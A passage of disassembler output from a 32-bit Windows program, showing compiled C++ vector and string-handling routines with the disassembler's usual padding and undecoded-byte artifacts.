sub_409610 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_409660 proc near ; CODE XREF: sub_40191Aj
var_40 = byte ptr -40h
var_39 = byte ptr -39h
var_38 = byte ptr -38h
var_34 = byte ptr -34h
var_30 = byte ptr -30h
var_C = dword ptr -0Ch
push 0FFFFFFFFh
push offset SEH_409660
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
lea eax, [esp+3Ch+var_39]
lea ecx, [esp+3Ch+var_38]
push eax
push offset aInvalidVectorT ; "invalid vector<T> subscript"
nop
call near ptr 76081F67h
lea ecx, [esp+44h+var_40]
mov [esp+44h+var_C], 0
push ecx
lea ecx, [esp+48h+var_30]
nop
call near ptr 760A0430h
lea edx, [esp+48h+var_34]
push offset dword_440088
push edx
call sub_437B22
sub_409660 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4096E0 proc near ; CODE XREF: sub_401BAEj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov edi, [esp+10h+arg_4]
mov eax, [esi+8]
mov ecx, [esi+0Ch]
sub ecx, eax
sar ecx, 2
cmp ecx, edi
jnb loc_4097AB
mov ecx, esi
call sub_401983
cmp edi, eax
jnb short loc_409713
mov ecx, esi
call sub_401983
mov ebp, eax
jmp short loc_409715
; ---------------------------------------------------------------------------
loc_409713: ; CODE XREF: sub_4096E0+26j
mov ebp, edi
loc_409715: ; CODE XREF: sub_4096E0+31j
mov ecx, esi
call sub_401983
mov ebx, eax
push 0
add ebx, ebp
mov ecx, esi
push ebx
call sub_401CC1
; ---------------------------------------------------------------------------
mov edx, [esp+10h+arg_0]
mov ebp, eax
mov eax, [esi+4]
push ebp
push edx
push eax
mov ecx, esi
call sub_4016E0
mov ecx, [esp+10h+arg_8]
mov [esp+10h+arg_4], eax
push ecx
push edi
push eax
mov ecx, esi
call sub_401177
mov edx, [esp+10h+arg_4]
mov ecx, [esi+8]
lea eax, [edx+edi*4]
mov edx, [esp+10h+arg_0]
push eax
push ecx
push edx
mov ecx, esi
call sub_4016E0
mov eax, [esi+8]
mov ecx, [esi+4]
push eax
push ecx
mov ecx, esi
call sub_401717
mov eax, [esi+4]
mov edx, [esi+0Ch]
sub edx, eax
mov ecx, esi
sar edx, 2
push edx
push eax
call sub_401294
; ---------------------------------------------------------------------------
lea eax, [ebp+ebx*4+0]
mov ecx, esi
mov [esi+0Ch], eax
call sub_401983
add eax, edi
mov [esi+4], ebp
pop edi
lea ecx, [ebp+eax*4+0]
mov [esi+8], ecx
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_4097AB: ; CODE XREF: sub_4096E0+17j
mov ebx, [esp+10h+arg_0]
mov edx, eax
sub edx, ebx
sar edx, 2
cmp edx, edi
jnb short loc_409809
lea ebp, ds:0[edi*4]
lea ecx, [ebx+ebp]
push ecx
push eax
push ebx
mov ecx, esi
call sub_4016E0
mov eax, [esi+8]
mov edx, [esp+10h+arg_8]
mov ecx, eax
push edx
sub ecx, ebx
sar ecx, 2
sub edi, ecx
mov ecx, esi
push edi
push eax
call sub_401177
mov edx, [esp+10h+arg_8]
mov eax, [esi+8]
push edx
push eax
push ebx
call sub_401FB4
mov eax, [esi+8]
add esp, 0Ch
add eax, ebp
mov [esi+8], eax
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_409809: ; CODE XREF: sub_4096E0+D8j
test edi, edi
jbe short loc_409843
shl edi, 2
push eax
push eax
sub eax, edi
mov ecx, esi
push eax
call sub_4016E0
mov eax, [esi+8]
push eax
sub eax, edi
push eax
push ebx
call sub_401CDF
mov ecx, [esp+1Ch+arg_8]
lea edx, [edi+ebx]
push ecx
push edx
push ebx
call sub_401FB4
mov eax, [esi+8]
add esp, 18h
add eax, edi
mov [esi+8], eax
loc_409843: ; CODE XREF: sub_4096E0+12Bj
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
sub_4096E0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4098B0 proc near ; CODE XREF: sub_401717j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, [esp+8+arg_0]
push edi
cmp esi, ebx
mov edi, ecx
jz short loc_4098D0
loc_4098C1: ; CODE XREF: sub_4098B0+1Ej
push esi
mov ecx, edi
call sub_402090
add esi, 4
cmp esi, ebx
jnz short loc_4098C1
loc_4098D0: ; CODE XREF: sub_4098B0+Fj
pop edi
pop esi
pop ebx
retn 8
sub_4098B0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4098F0 proc near ; CODE XREF: sub_401294j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_437AD2
sub_4098F0 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409910 proc near ; CODE XREF: sub_402090j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_7
pop ecx
retn 4
sub_409910 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409930 proc near ; CODE XREF: sub_4016E0j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
mov esi, [esp+0Ch+arg_0]
mov ebx, ecx
cmp esi, ebp
jz short loc_409962
push edi
mov edi, [esp+10h+arg_8]
loc_409946: ; CODE XREF: sub_409930+27j
push esi
push edi
mov ecx, ebx
call sub_4015B4
add esi, 4
add edi, 4
cmp esi, ebp
jnz short loc_409946
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_409962: ; CODE XREF: sub_409930+Fj
mov eax, [esp+0Ch+arg_8]
pop esi
pop ebp
pop ebx
retn 0Ch
sub_409930 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409980 proc near ; CODE XREF: sub_401177j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebp
push edi
mov edi, [esp+8+arg_4]
mov ebp, ecx
test edi, edi
jbe short loc_4099A7
push ebx
mov ebx, [esp+0Ch+arg_8]
push esi
mov esi, [esp+10h+arg_0]
loc_409996: ; CODE XREF: sub_409980+23j
push ebx
push esi
mov ecx, ebp
call sub_4015B4
add esi, 4
dec edi
jnz short loc_409996
pop esi
pop ebx
loc_4099A7: ; CODE XREF: sub_409980+Aj
pop edi
pop ebp
retn 0Ch
sub_409980 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4099C0 proc near ; CODE XREF: sub_401CC1j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_402059
sub_4099C0 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 8
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4099F0 proc near ; CODE XREF: sub_4015B4j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_401145
add esp, 8
retn 8
sub_4099F0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409A20 proc near ; CODE XREF: sub_401FB4j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
cmp eax, ecx
jz short locret_409A3D
mov edx, [esp+arg_8]
push esi
loc_409A31: ; CODE XREF: sub_409A20+1Aj
mov esi, [edx]
mov [eax], esi
add eax, 4
cmp eax, ecx
jnz short loc_409A31
pop esi
locret_409A3D: ; CODE XREF: sub_409A20+Aj
retn
sub_409A20 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409A50 proc near ; CODE XREF: sub_401CDFj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
cmp edx, ecx
jz short loc_409A72
mov eax, [esp+arg_8]
push esi
loc_409A61: ; CODE XREF: sub_409A50+1Ej
mov esi, [ecx-4]
sub ecx, 4
sub eax, 4
cmp ecx, edx
mov [eax], esi
jnz short loc_409A61
pop esi
retn
; ---------------------------------------------------------------------------
loc_409A72: ; CODE XREF: sub_409A50+Aj
mov eax, [esp+arg_8]
retn
sub_409A50 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_409AB0 proc near ; CODE XREF: sub_402059j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jge short loc_409ABA
xor eax, eax
loc_409ABA: ; CODE XREF: sub_409AB0+6j
shl eax, 2
push eax
call sub_437AEA
sub_409AB0 endp
; ---------------------------------------------------------------------------
add esp, 4
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409AE0 proc near ; CODE XREF: sub_401145j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_409AFB
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_409AFB: ; CODE XREF: sub_409AE0+11j
retn
sub_409AE0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409B10 proc near ; CODE XREF: sub_401988j
arg_0 = dword ptr 4
mov al, byte_44916A
push esi
test al, al
mov esi, ecx
jz short loc_409B46
push edi
nop
call near ptr 28315F7h
mov edi, dword_5118CC
push 0FFFFFFF5h
call edi
push 0FFFFFFF4h
mov [esi], eax
call edi
mov [esi+4], eax
mov eax, [esp+8+arg_0]
mov byte ptr [esi+8], 1
mov [esi+9], eax
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_409B46: ; CODE XREF: sub_409B10+Aj
mov ecx, [esp+4+arg_0]
mov byte ptr [esi+8], 1
mov [esi+9], ecx
pop esi
retn 4
sub_409B10 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409B80 proc near ; CODE XREF: sub_401CEEj
mov al, byte_44916A
push esi
test al, al
mov esi, ecx
jz short loc_409B9F
nop
call near ptr 283199Fh
mov dword ptr [esi], 0FFFFFFFFh
mov dword ptr [esi+4], 0FFFFFFFFh
loc_409B9F: ; CODE XREF: sub_409B80+Aj
mov byte ptr [esi+8], 0
pop esi
retn
sub_409B80 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409BC0 proc near ; CODE XREF: sub_40142Ej
mov eax, ecx
xor ecx, ecx
mov dword ptr [eax], offset off_43F010
mov [eax+9], ecx
mov [eax+11h], ecx
mov [eax+4], cl
mov [eax+0Dh], ecx
retn
sub_409BC0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_409BF0: ; CODE XREF: ___:00402081j
; ___:loc_40218Fj
push esi
mov esi, ecx
call sub_401226
test byte ptr [esp+8], 1
jz short loc_409C08
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_409C08: ; CODE XREF: ___:00409BFDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409C20 proc near ; CODE XREF: sub_401870j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push eax
mov dword ptr [esi], offset off_43F010
mov [esi+9], ebx
mov [esi+11h], ebx
call sub_4015E1
mov [esi+4], bl
mov [esi+0Dh], ebx
mov eax, esi
pop esi
pop ebx
retn 4
sub_409C20 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409C60 proc near ; CODE XREF: sub_4014D3j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push eax
mov dword ptr [esi], offset off_43F010
mov [esi+9], ebx
mov [esi+11h], ebx
call sub_401FDC
mov [esi+4], bl
mov [esi+0Dh], ebx
mov eax, esi
pop esi
pop ebx
retn 4
sub_409C60 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409CA0 proc near ; CODE XREF: sub_402112j
var_10 = byte ptr -10h
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub esp, 10h
push ebx
push esi
mov esi, ecx
push eax
lea ecx, [esp+1Ch+var_10]
push offset dword_4447F4
push ecx
mov dword ptr [esi], offset off_43F010
nop
call near ptr word_5F67AE
add esp, 0Ch
lea edx, [esp+18h+var_10]
xor ebx, ebx
mov ecx, esi
push edx
mov [esi+9], ebx
mov [esi+11h], ebx
call sub_4015E1
mov [esi+4], bl
mov [esi+0Dh], ebx
mov eax, esi
pop esi
pop ebx
add esp, 10h
retn 4
sub_409CA0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409D10 proc near ; CODE XREF: sub_401226j
push esi
mov esi, ecx
push edi
xor edi, edi
mov eax, [esi+9]
mov dword ptr [esi], offset off_43F010
cmp eax, edi
jz short loc_409D2C
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_409D2C: ; CODE XREF: sub_409D10+11j
mov eax, [esi+0Dh]
mov [esi+9], edi
cmp eax, edi
jz short loc_409D3F
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_409D3F: ; CODE XREF: sub_409D10+24j
mov [esi+0Dh], edi
mov [esi+11h], edi
pop edi
pop esi
retn
sub_409D10 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409D60 proc near ; CODE XREF: sub_4015E1j
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
mov esi, ecx
test edi, edi
jz short loc_409DCA
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov eax, [esi+9]
not ecx
dec ecx
test eax, eax
mov ebp, ecx
jz short loc_409D8A
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_409D8A: ; CODE XREF: sub_409D60+1Fj
lea ebx, [ebp+2]
push ebx
call sub_437AEA
; ---------------------------------------------------------------------------
db 8Bh
dd 4C483F8h, 7E89FF85h, 8B2B7409h, 8BC033CBh, 116E89D1h
dd 0F302E9C1h, 83CA8BABh, 0AAF303E1h, 8B11468Bh, 8B14244Ch
dd 51500956h, 0C9E89052h, 837783DCh
db 0C4h, 0Ch
; ---------------------------------------------------------------------------
loc_409DCA: ; CODE XREF: sub_409D60+Cj
pop edi
pop esi
pop ebp
pop ebx
retn 4
sub_409D60 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409E00 proc near ; CODE XREF: sub_401FDCj
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_4015E1
pop esi
retn 4
sub_409E00 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_409E30: ; CODE XREF: ___:00401A5Aj
mov eax, [esp+4]
sub esp, 10h
push esi
mov esi, ecx
push eax
lea ecx, [esp+8]
push offset dword_4447F4
push ecx
nop
call near ptr word_5F67AE
add esp, 0Ch
lea edx, [esp+4]
mov ecx, esi
push edx
call sub_4015E1
pop esi
add esp, 10h
retn 4
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409E80 proc near ; CODE XREF: sub_401AAFj
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
mov ebx, ecx
test edi, edi
jz loc_409F12
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov edi, [ebx+11h]
not ecx
dec ecx
mov esi, ecx
add esi, edi
lea eax, [esi+1]
push eax
call sub_437AEA
; ---------------------------------------------------------------------------
mov edi, [ebx+9]
add esp, 4
test edi, edi
mov ebp, eax
jz short loc_409F12
or ecx, 0FFFFFFFFh
xor eax, eax
mov [ebx+11h], esi
repne scasb
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov edi, [esp+10h+arg_0]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebp
or ecx, 0FFFFFFFFh
repne scasb
mov ecx, edx
dec edi
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov eax, [ebx+9]
test eax, eax
jz short loc_409F0F
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_409F0F: ; CODE XREF: sub_409E80+84j
mov [ebx+9], ebp
loc_409F12: ; CODE XREF: sub_409E80+Cj
; sub_409E80+36j
pop edi
pop esi
pop ebp
pop ebx
retn 4
sub_409E80 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409F50 proc near ; CODE XREF: sub_4016C7j
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_401AAF
pop esi
retn 4
sub_409F50 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409F80 proc near ; CODE XREF: sub_401140j
var_10 = byte ptr -10h
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub esp, 10h
push esi
mov esi, ecx
push eax
lea ecx, [esp+18h+var_10]
push offset dword_4447F4
push ecx
nop
call near ptr word_5F67AE
add esp, 0Ch
lea edx, [esp+14h+var_10]
mov ecx, esi
push edx
call sub_401AAF
pop esi
add esp, 10h
retn 4
sub_409F80 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409FD0 proc near ; CODE XREF: sub_4012EEj
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jnz short loc_409FE7
mov edx, [ecx+9]
xor eax, eax
test edx, edx
setnz al
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_409FE7: ; CODE XREF: sub_409FD0+7j
mov eax, [ecx+9]
push ebx
loc_409FEB: ; CODE XREF: sub_409FD0+3Dj
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_40A016
test cl, cl
jz short loc_40A00F
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_40A016
add eax, 2
add esi, 2
test cl, cl
jnz short loc_409FEB
loc_40A00F: ; CODE XREF: sub_409FD0+27j
pop ebx
xor eax, eax
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40A016: ; CODE XREF: sub_409FD0+23j
; sub_409FD0+33j
sbb eax, eax
pop ebx
sbb eax, 0FFFFFFFFh
pop esi
retn 4
sub_409FD0 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A040 proc near ; CODE XREF: sub_401B86j
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_4012EE
pop esi
retn 4
sub_40A040 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A070 proc near ; CODE XREF: sub_40150Aj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jnz short loc_40A083
mov edx, [ecx+9]
test edx, edx
setnz al
retn 4
; ---------------------------------------------------------------------------
loc_40A083: ; CODE XREF: sub_40A070+6j
push eax
mov eax, [ecx+9]
push eax
nop
call near ptr 77C4624Eh
add esp, 8
retn 4
sub_40A070 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A0B0 proc near ; CODE XREF: sub_4021D0j
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_4012EE
pop esi
retn 4
sub_40A0B0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A0E0 proc near ; CODE XREF: sub_401CD0j
push esi
mov esi, ecx
mov eax, [esi+9]
test eax, eax
jz short loc_40A0F3
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_40A0F3: ; CODE XREF: sub_40A0E0+8j
mov dword ptr [esi+9], 0
pop esi
retn
sub_40A0E0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A110 proc near ; CODE XREF: sub_40102Dj
arg_2000 = dword ptr 2004h
arg_2004 = dword ptr 2008h
arg_2008 = byte ptr 200Ch
mov eax, 2000h
call sub_437B30
mov eax, [esp+arg_2004]
test eax, eax
jz short loc_40A152
lea ecx, [esp+arg_2008]
lea edx, [esp+0]
push ecx
push eax
push 2000h
push edx
nop
call near ptr 77C3FF8Ah
mov ecx, [esp+10h+arg_2000]
add esp, 10h
lea eax, [esp+0]
push eax
call sub_4015E1
loc_40A152: ; CODE XREF: sub_40A110+13j
add esp, 2000h
retn
sub_40A110 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A180 proc near ; CODE XREF: sub_401D34j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401316
retn 4
sub_40A180 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A1A0 proc near ; CODE XREF: sub_401316j
arg_0 = byte ptr 4
push ebx
mov ebx, dword_511AEC
push esi
push edi
movsx edi, [esp+0Ch+arg_0]
mov esi, ecx
push edi
mov eax, [esi+9]
push eax
call ebx
add esp, 8
test eax, eax
jnz short loc_40A1C4
pop edi
pop esi
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_40A1C4: ; CODE XREF: sub_40A1A0+1Cj
mov ecx, [esi+9]
push edi
push ecx
call ebx
mov edi, [esi+9]
add esp, 8
mov edx, 1
sub edx, edi
pop edi
pop esi
add eax, edx
pop ebx
retn 8
sub_40A1A0 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A1F0 proc near ; CODE XREF: sub_4018B1j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401816
retn 4
sub_40A1F0 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A210 proc near ; CODE XREF: sub_401816j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, ecx
push eax
mov ecx, [esp+8+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_402135
pop esi
retn 8
sub_40A210 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A240 proc near ; CODE XREF: sub_4013EDj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_402135
retn 4
sub_40A240 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A260 proc near ; CODE XREF: sub_402135j
arg_0 = dword ptr 4
push ebx
push esi
push edi
mov edi, [esp+0Ch+arg_0]
test edi, edi
mov esi, ecx
jnz short loc_40A275
pop edi
pop esi
xor eax, eax
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_40A275: ; CODE XREF: sub_40A260+Bj
mov eax, [esi+9]
mov ebx, dword_511B04
push edi
push eax
call ebx
add esp, 8
test eax, eax
jnz short loc_40A28F
pop edi
pop esi
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_40A28F: ; CODE XREF: sub_40A260+27j
mov ecx, [esi+9]
push edi
push ecx
call ebx
mov edi, [esi+9]
add esp, 8
mov edx, 1
sub edx, edi
pop edi
pop esi
add eax, edx
pop ebx
retn 8
sub_40A260 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A2D0 proc near ; CODE XREF: sub_401C71j
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
test edi, edi
jnz short loc_40A2E3
pop edi
xor eax, eax
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40A2E3: ; CODE XREF: sub_40A2D0+Aj
mov eax, [esi+9]
mov [esi+11h], edi
test eax, eax
jz short loc_40A2F6
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_40A2F6: ; CODE XREF: sub_40A2D0+1Bj
push ebx
lea ebx, [edi+1]
push ebx
call sub_437AEA
sub_40A2D0 endp
; ---------------------------------------------------------------------------
mov ecx, ebx
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov [esi+9], edi
add esp, 4
rep stosd
mov ecx, edx
pop ebx
and ecx, 3
rep stosb
mov eax, [esi+9]
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A350 proc near ; CODE XREF: sub_4013E3j
mov eax, [ecx+11h]
retn
sub_40A350 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A370 proc near ; CODE XREF: sub_4012B2j
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
push 0FFFFFFFFh
push offset SEH_40A370
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 20h
push ebp
mov ebp, [esp+30h+arg_8]
push esi
xor esi, esi
cmp ebp, 1
mov [esp+34h+var_2C], ecx
mov [esp+34h+var_28], esi
jge short loc_40A3C2
mov esi, [esp+34h+arg_0]
push offset byte_448F40
mov ecx, esi
call sub_401870
mov eax, esi
pop esi
pop ebp
mov ecx, [esp+2Ch+var_C]
mov large fs:0, ecx
add esp, 2Ch
retn 0Ch
; ---------------------------------------------------------------------------
loc_40A3C2: ; CODE XREF: sub_40A370+2Bj
push ebx
push edi
lea ecx, [esp+3Ch+var_24]
call sub_40142E
mov [esp+3Ch+var_4], esi
lea esi, [ebp+1]
push esi
call sub_437AEA
sub_40A370 endp
; ---------------------------------------------------------------------------
mov ecx, esi
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
add esp, 4
shr ecx, 2
rep stosd
mov ecx, edx
mov edx, [esp+44h]
and ecx, 3
push ebx
rep stosb
mov eax, [esp+14h]
mov ecx, ebp
mov edi, ebx
mov esi, [eax+9]
add esi, edx
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
lea ecx, [esp+1Ch]
call sub_4015E1
push ebx
call sub_437AD2
; ---------------------------------------------------------------------------
mov esi, [esp+44h]
add esp, 4
lea eax, [esp+18h]
mov ecx, esi
push eax
call sub_4014D3
lea ecx, [esp+18h]
call sub_401226
mov ecx, [esp+30h]
pop edi
mov eax, esi
pop ebx
pop esi
pop ebp
mov large fs:0, ecx
add esp, 2Ch
retn 0Ch
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A4A0 proc near ; CODE XREF: sub_401E47j
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push esi
push edi
mov esi, ecx
mov [esp+0Ch+var_4], 0
call sub_4013E3
mov ecx, [esp+0Ch+arg_4]
mov edi, [esp+0Ch+arg_0]
sub eax, ecx
push eax
push ecx
push edi
mov ecx, esi
